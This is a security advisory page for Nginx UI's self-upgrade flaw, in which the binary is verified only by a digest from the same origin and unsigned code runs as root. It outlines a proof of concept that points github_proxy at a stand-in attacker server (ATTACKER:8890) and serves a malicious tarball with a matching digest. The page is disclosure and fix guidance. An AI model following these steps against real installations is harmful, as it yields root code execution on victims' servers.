Skip to content

GHSA-662p-52hx-cmh2 CVE-2026-107812 GO-2026-6705

Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM

High Go
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.18%
Chance of exploitation in the next 30 days. Higher than 6.91% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-494 Download of Code Without Integrity Check
Fix
1.9.10-0.20260728114330-580585516dd8
Upgrade github.com/0xJacky/Nginx-UI to this version or later

Description

Summary

The self-upgrade downloads the release binary and its checksum (*.tar.gz and *.tar.gz.digest) through the SAME endpoint (version.GetUrl(), which is github_proxy or, by default, the project's cloud.nginxui.com mirror), and verifies the binary ONLY by comparing it to that digest: digestFileContent == DigestSHA512(tarName). Both the binary and the digest come from the same origin, and there is NO cryptographic signature / public-key verification. The downloaded binary then replaces the running executable (selfupdate.CommitBinary) and the process restarts, so the binary runs as the nginx-ui user (typically root).

Because integrity rests only on a digest fetched from the same place as the binary, anyone who controls that download path can substitute a malicious binary plus a matching digest and obtain code execution as root on the next upgrade. Additionally, the github_proxy setting accepts http:// URLs, so the binary+digest can be fetched over cleartext.

Affected code

  • internal/version/url.go GetUrl(path) = <github_proxy or cloud.nginxui.com>/<path> — used for BOTH the binary and the digest.
  • internal/upgrader/upgrade.go DownloadLatestRelease: digest URL and binary URL are both wrapped with GetUrl(), fetched, and checked with digestFileContent == DigestSHA512(tarName). No signature verification anywhere in internal/upgrader/.
  • selfupdate.CommitBinary then replaces the running binary; the process restarts.
  • settings/http.go: GithubProxy accepts any URL (binding:"omitempty,url"), including http://.

Attack scenarios

A. Compromised mirror / CDN (primary). By default the binary+digest are routed through cloud.nginxui.com. If that mirror (or the GitHub release CDN) is compromised — or DNS/BGP is hijacked — it can serve a malicious binary + matching digest to EVERY instance that upgrades, yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the mirror). A binary signature would prevent this. B. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of github_proxy; the field accepts http://, so the binary+digest are fetched in cleartext. An attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router) substitutes a malicious binary + matching digest -> root RCE on the next upgrade. C. (mechanism demonstration) An authenticated user sets github_proxy to a server they control and triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no role separation) such a user is admin-equivalent, so on its own this path is self-inflicted — it is included only to demonstrate that an unsigned attacker binary is accepted and executed.

Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — mechanism

An attacker HTTP server serves any *.tar.gz -> a malicious tarball (whose nginx-ui is a script that writes a marker as whoever runs it) and any *.digest -> the SHA-512 of that tarball.

  1. Set the download origin to the attacker server (here via github_proxy; in scenarios A/B this is instead a compromised mirror / MITM): POST /api/settings with http.github_proxy = http://ATTACKER:8890 -> 200. The field accepts the http URL.
  2. Trigger the upgrade: WS GET /api/upgrade/perform, send {"channel":"stable"}.
  3. Observed:
    • The attacker server received BOTH GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digest and .../nginx-ui-linux-64.tar.gz (over cleartext http).
    • WS: "Downloading latest release" -> "Performing core upgrade" -> restart. The attacker tarball's digest matched (attacker supplied both) -> integrity check PASSED, no signature checked.
    • Inside the container: /tmp/UPGRADE_PWNED = UPGRADE_RCE_EXECUTED uid=0 -> the malicious binary replaced nginx-ui and EXECUTED AS ROOT.

Impact

Root code execution on upgrade. Realistically reached by compromising the trusted download source (mirror/CDN, scenario A — fleet-wide) or by MITM of a cleartext http proxy (scenario B). A cryptographic signature on the release binary would prevent all of these.

Honest scope / caveats

  • Live-verified: the integrity-bypass MECHANISM — an unsigned binary plus a same-origin digest is accepted and executed as root, and the binary+digest are fetched over cleartext http when an http proxy is configured. This was demonstrated via scenario C (attacker-controlled proxy).
  • NOT staged (threat-model assumptions, not PoC artifacts): actually compromising cloud.nginxui.com / the GitHub CDN (scenario A), and performing a real on-path MITM intercept (scenario B). These are standard attacker capabilities, marked here as analysis.
  • The upgrade is operator-triggered (UI:R). The default flow uses HTTPS to cloud.nginxui.com+GitHub plus the digest, so this is not "zero integrity" — the gap is the absence of a signature, which matters when the source is compromised or the transport is cleartext (http proxy).

Suggested fix

Verify the release binary against a cryptographic signature with a public key pinned in the nginx-ui binary (or a digest fetched over an independent, pinned channel), not a digest from the same origin as the binary. Reject http:// for github_proxy (require https). Consider treating github_proxy as a protected setting.

Dedup / novelty

Distinct from CVE-2026-42238 (unauthenticated backup-restore RCE) and CVE-2026-33026 (backup tampering); this is the self-UPGRADE binary path. No existing nginx-ui CVE/GHSA covers upgrade integrity (checked osv.dev and the GitHub advisory database). Appears novel.

Affected versions

Go

PackageVulnerableFixed in
github.com/0xJacky/Nginx-UI
>= 1.9.10-0.20250517140552-daee3ac7ade1, < 1.9.10-0.20260728114330-580585516dd8
1.9.10-0.20260728114330-580585516dd8

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/0xJacky/Nginx-UI Go → 1.9.10-0.20260728114330-580585516dd8

go
go get github.com/0xJacky/Nginx-UI@v1.9.10-0.20260728114330-580585516dd8 && go mod tidy

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-494: Download of Code Without Integrity Check

The product downloads source code or an executable from a remote location and executes the code without sufficiently verifying the origin and integrity of the code.

How to prevent it
  • Implementation: Perform proper forward and reverse DNS lookups to detect DNS spoofing.
  • Architecture and Design, Operation: Encrypt the code with a reliable encryption scheme before transmitting. This will only be a partial solution, since it will not detect DNS spoofing and it will not prevent your code from being modified on the hosting site.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Speficially, it may be helpful to use tools or frameworks to perform integrity checking on the transmitted code. When providing the code that is to be downloaded, such as for automatic updates of the software, then use cryptographic signatures for the code and modify the download clients to verify the signatures. Ensure that the implementation does not contain CWE-295, CWE-320, CWE-347, and related weaknesses. Use code signing technologies such as Authenticode. See references [REF-454] [REF-455] [REF-456].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GO-2026-6773
Nginx UI: Casdoor SSO callback uses a constant `state` parameter (login CSRF)
High Also affects github.com/0xJacky/Nginx-UI
GHSA-vc32-4gwf-77xp
Nginx UI: OTP secure-session step-up can be bypassed via MCP configuration tools
High Also affects github.com/0xJacky/Nginx-UI
GHSA-wq4w-vwvq-q3x9
Nginx UI: Standalone short tokens survive administrative revocation in cache and authenticate again after account re-enable
Medium Also affects github.com/0xJacky/Nginx-UI
GHSA-jrq7-xrjx-pcfw
Nginx UI: Auto backup name allows path traversal outside validated storage path
Medium Also affects github.com/0xJacky/Nginx-UI
GHSA-5r62-gj48-897x
Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context
High Also affects github.com/0xJacky/Nginx-UI
GHSA-9jww-cxg5-rj9m
Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE
High Also affects github.com/0xJacky/Nginx-UI
GHSA-76pm-mq2q-9gcr
Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)
High Also affects github.com/0xJacky/Nginx-UI
GHSA-cf23-7qxj-xmhr
Nginx UI: nginx config directive denylist (ValidateConfigFile) is bypassable via same-line ";" separation → authenticated directive injection (RCE on the official image)
High Also affects github.com/0xJacky/Nginx-UI
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor